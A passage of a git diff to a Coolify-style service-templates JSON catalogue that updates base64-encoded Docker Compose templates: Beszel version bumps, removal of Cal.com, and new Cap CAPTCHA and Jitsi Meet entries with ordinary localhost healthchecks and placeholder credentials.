SBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gRElTQUJMRV9EQl9NSUdSQVRJT05TPXRydWUKICAgICAgLSBESVNBQkxFX0NST05fSk9CU19SRUdJU1RSQVRJT049dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgdHdlbnR5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInBzIGF1eCB8IGdyZXAgJ2Rpc3QvcXVldWUtd29ya2VyL3F1ZXVlLXdvcmtlcicgfCBncmVwIC12IGdyZXAgfHwgZXhpdCAxIgogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAzMHMKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi10d2VudHktZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "crm", "self-hosted", diff --git a/templates/service-templates.json b/templates/service-templates.json index 45e2185ed..cc909dc68 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjcnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjcnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNycKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -394,23 +394,6 @@ "minversion": "0.0.0", "port": "8000" }, - "calcom": { - "documentation": "https://cal.com/docs/developing/introduction?utm_source=coolify.io", - "slogan": "Scheduling infrastructure for everyone.", - "compose": "c2VydmljZXM6CiAgY2FsY29tOgogICAgaW1hZ2U6IGNhbGNvbS5kb2NrZXIuc2NhcmYuc2gvY2FsY29tL2NhbC5jb20KICAgIHBsYXRmb3JtOiBsaW51eC9hbWQ2NAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0NBTENPTV8zMDAwCiAgICAgIC0gTkVYVF9QVUJMSUNfTElDRU5TRV9DT05TRU5UPWFncmVlCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtICdORVhUX1BVQkxJQ19XRUJBUFBfVVJMPSR7U0VSVklDRV9GUUROX0NBTENPTX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0FQSV9WMl9VUkw9JHtTRVJWSUNFX0ZRRE5fQ0FMQ09NfS9hcGkvdjInCiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9DQUxDT019L2FwaS9hdXRoJwogICAgICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9DQUxDT01TRUNSRVR9JwogICAgICAtICdDQUxFTkRTT19FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0NBTENPTUtFWX0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jYWxlbmRzb30nCiAgICAgIC0gREFUQUJBU0VfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtEQVRBQkFTRV9IT1NUOi1wb3N0Z3Jlc3FsfS8ke1BPU1RHUkVTX0RCOi1jYWxlbmRzb30nCiAgICAgIC0gJ0RBVEFCQVNFX0RJUkVDVF9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7REFUQUJBU0VfSE9TVDotcG9zdGdyZXNxbH0vJHtQT1NUR1JFU19EQjotY2FsZW5kc299JwogICAgICAtIENBTENPTV9URUxFTUVUUllfRElTQUJMRUQ9MQogICAgICAtICdFTUFJTF9GUk9NPSR7RU1BSUxfRlJPTX0nCiAgICAgIC0gJ0VNQUlMX0ZST01fTkFNRT0ke0VNQUlMX0ZST01fTkFNRX0nCiAgICAgIC0gJ0VNQUlMX1NFUlZFUl9IT1NUPSR7RU1BSUxfU0VSVkVSX0hPU1R9JwogICAgICAtICdFTUFJTF9TRVJWRVJfUE9SVD0ke0VNQUlMX1NFUlZFUl9QT1JUfScKICAgICAgLSAnRU1BSUxfU0VSVkVSX1VTRVI9JHtFTUFJTF9TRVJWRVJfVVNFUn0nCiAgICAgIC0gJ0VNQUlMX1NFUlZFUl9QQVNTV09SRD0ke0VNQUlMX1NFUlZFUl9QQVNTV09SRH0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0FQUF9OQU1FPSJDYWwuY29tIicKICAgICAgLSAnQUxMT1dFRF9IT1NUTkFNRVM9WyIke1NFUlZJQ0VfRlFETl9DQUxDT019Il0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBvc3RncmVzcWwKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNhbGVuZHNvfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NhbGNvbS1wb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", - "tags": [ - "calcom", - "calendso", - "scheduling", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/calcom.svg", - "minversion": "0.0.0", - "port": "3000", - "amd_only": true - }, "calibre-web-automated-book-downloader": { "documentation": "https://github.com/calibrain/calibre-web-automated-book-downloader?utm_source=coolify.io", "slogan": "An intuitive web interface for searching and requesting book downloads, designed to work seamlessly with Calibre-Web-Automated.", @@ -453,6 +436,21 @@ "minversion": "0.0.0", "port": "8083" }, + "cap-captcha": { + "documentation": "https://capjs.js.org/guide/?utm_source=coolify.io", + "slogan": "The self-hosted CAPTCHA for the modern web.", + "compose": "c2VydmljZXM6CiAgY2FwOgogICAgaW1hZ2U6ICd0aWFnbzIvY2FwOjMuMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0NBUF8zMDAwCiAgICAgIC0gQURNSU5fS0VZPSRTRVJWSUNFX1BBU1NXT1JEX0FETUlOCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGJ1bgogICAgICAgIC0gJy1lJwogICAgICAgIC0gImZldGNoKCdodHRwOi8vbG9jYWxob3N0OjMwMDAnKS50aGVuKHIgPT4geyBpZiAoIXIub2spIHByb2Nlc3MuZXhpdCgxKSB9KS5jYXRjaCgoKSA9PiBwcm9jZXNzLmV4aXQoMSkpIgogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogICAgZGVwZW5kc19vbjoKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgdmFsa2V5OgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjktYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAndmFsa2V5LWRhdGE6L2RhdGEnCiAgICBjb21tYW5kOiAndmFsa2V5LXNlcnZlciAtLXNhdmUgNjAgMSAtLWxvZ2xldmVsIHdhcm5pbmcgLS1tYXhtZW1vcnktcG9saWN5IG5vZXZpY3Rpb24nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gdmFsa2V5LWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogM3MKICAgICAgcmV0cmllczogNQo=", + "tags": [ + "captcha", + "security", + "privacy", + "proof-of-work" + ], + "category": "security", + "logo": "svgs/cap-captcha.png", + "minversion": "0.0.0", + "port": "3000" + }, "cap": { "documentation": "https://cap.so?utm_source=coolify.io", "slogan": "Cap is the open source alternative to Loom. Lightweight, powerful, and cross-platform. Record and share in seconds.", @@ -2191,6 +2189,23 @@ "minversion": "0.0.0", "port": "8080" }, + "jitsi": { + "documentation": "https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/?utm_source=coolify.io", + "slogan": "Self-hosted Jitsi Meet \u2014 open-source video conferencing platform", + "compose": "c2VydmljZXM6CiAgaml0c2ktd2ViOgogICAgaW1hZ2U6ICdqaXRzaS93ZWI6c3RhYmxlLTEwODg4JwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9KSVRTSQogICAgICAtIFBVQkxJQ19VUkw9JFNFUlZJQ0VfRlFETl9KSVRTSQogICAgICAtIEVOQUJMRV9BVVRIPTAKICAgICAgLSBFTkFCTEVfR1VFU1RTPTEKICAgICAgLSBFTkFCTEVfTEVUU0VOQ1JZUFQ9MAogICAgICAtIEVOQUJMRV9IVFRQX1JFRElSRUNUPTAKICAgICAgLSBESVNBQkxFX0hUVFBTPTEKICAgICAgLSBYTVBQX0RPTUFJTj1tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9BVVRIX0RPTUFJTj1hdXRoLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX0dVRVNUX0RPTUFJTj1ndWVzdC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9NVUNfRE9NQUlOPWNvbmZlcmVuY2UubWVldC5qaXRzaQogICAgICAtIFhNUFBfSU5URVJOQUxfTVVDX0RPTUFJTj1pbnRlcm5hbC5hdXRoLm1lZXQuaml0c2kKICAgICAgLSAnWE1QUF9CT1NIX1VSTF9CQVNFPWh0dHA6Ly9wcm9zb2R5OjUyODAnCiAgICAgIC0gSlZCX0JSRVdFUllfTVVDPWp2YmJyZXdlcnkKICAgICAgLSAnSklDT0ZPX0NPTVBPTkVOVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pJQ09GT30nCiAgICAgIC0gJ0pJQ09GT19BVVRIX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKVkJfQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSlZCfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcHJvc29keQogICAgICAtIGppY29mbwogICAgICAtIGp2YgogICAgdm9sdW1lczoKICAgICAgLSAnaml0c2ktd2ViOi9jb25maWcnCiAgICBuZXR3b3JrczoKICAgICAgbWVldC5qaXRzaToKICAgICAgICBhbGlhc2VzOgogICAgICAgICAgLSBtZWV0LmppdHNpCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3QnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBwcm9zb2R5OgogICAgaW1hZ2U6ICdqaXRzaS9wcm9zb2R5OnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBVVRIX1RZUEU9aW50ZXJuYWwKICAgICAgLSBFTkFCTEVfQVVUSD0wCiAgICAgIC0gRU5BQkxFX0dVRVNUUz0xCiAgICAgIC0gWE1QUF9ET01BSU49bWVldC5qaXRzaQogICAgICAtIFhNUFBfQVVUSF9ET01BSU49YXV0aC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9HVUVTVF9ET01BSU49Z3Vlc3QubWVldC5qaXRzaQogICAgICAtIFhNUFBfTVVDX0RPTUFJTj1jb25mZXJlbmNlLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX0lOVEVSTkFMX01VQ19ET01BSU49aW50ZXJuYWwuYXV0aC5tZWV0LmppdHNpCiAgICAgIC0gJ0pJQ09GT19DT01QT05FTlRfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKSUNPRk9fQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSAnSlZCX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pWQn0nCiAgICAgIC0gUFVCTElDX1VSTD0kU0VSVklDRV9GUUROX0pJVFNJCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0xPR19MRVZFTD0ke0xPR19MRVZFTDotaW5mb30nCiAgICB2b2x1bWVzOgogICAgICAtICdqaXRzaS1wcm9zb2R5Oi9jb25maWcnCiAgICBuZXR3b3JrczoKICAgICAgbWVldC5qaXRzaToKICAgICAgICBhbGlhc2VzOgogICAgICAgICAgLSB4bXBwLm1lZXQuaml0c2kKICAgICAgICAgIC0gYXV0aC5tZWV0LmppdHNpCiAgICAgICAgICAtIGd1ZXN0Lm1lZXQuaml0c2kKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo1MjgwL2h0dHAtYmluZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGppY29mbzoKICAgIGltYWdlOiAnaml0c2kvamljb2ZvOnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBVVRIX1RZUEU9aW50ZXJuYWwKICAgICAgLSBFTkFCTEVfQVVUSD0wCiAgICAgIC0gWE1QUF9ET01BSU49bWVldC5qaXRzaQogICAgICAtIFhNUFBfQVVUSF9ET01BSU49YXV0aC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9JTlRFUk5BTF9NVUNfRE9NQUlOPWludGVybmFsLmF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfTVVDX0RPTUFJTj1jb25mZXJlbmNlLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX1NFUlZFUj1wcm9zb2R5CiAgICAgIC0gJ0pJQ09GT19DT01QT05FTlRfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKSUNPRk9fQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSBKVkJfQlJFV0VSWV9NVUM9anZiYnJld2VyeQogICAgICAtIEpJQ09GT19FTkFCTEVfSEVBTFRIX0NIRUNLUz0xCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHByb3NvZHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2ppdHNpLWppY29mbzovY29uZmlnJwogICAgbmV0d29ya3M6CiAgICAgIG1lZXQuaml0c2k6IG51bGwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4ODg4L2Fib3V0L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGp2YjoKICAgIGltYWdlOiAnaml0c2kvanZiOnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMTAwMDA6MTAwMDAvdWRwJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gWE1QUF9TRVJWRVI9cHJvc29keQogICAgICAtIFhNUFBfRE9NQUlOPW1lZXQuaml0c2kKICAgICAgLSBYTVBQX0FVVEhfRE9NQUlOPWF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfSU5URVJOQUxfTVVDX0RPTUFJTj1pbnRlcm5hbC5hdXRoLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX01VQ19ET01BSU49Y29uZmVyZW5jZS5tZWV0LmppdHNpCiAgICAgIC0gSlZCX0FVVEhfVVNFUj1qdmIKICAgICAgLSAnSlZCX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pWQn0nCiAgICAgIC0gSlZCX0JSRVdFUllfTVVDPWp2YmJyZXdlcnkKICAgICAgLSBKVkJfUE9SVD0xMDAwMAogICAgICAtICdKVkJfQURWRVJUSVNFX0lQUz0ke0pWQl9BRFZFUlRJU0VfSVBTOi19JwogICAgICAtICdKVkJfU1RVTl9TRVJWRVJTPSR7SlZCX1NUVU5fU0VSVkVSUzotc3R1bi5sLmdvb2dsZS5jb206MTkzMDJ9JwogICAgICAtIFBVQkxJQ19VUkw9JFNFUlZJQ0VfRlFETl9KSVRTSQogICAgICAtICdUWj0ke1RaOi1VVE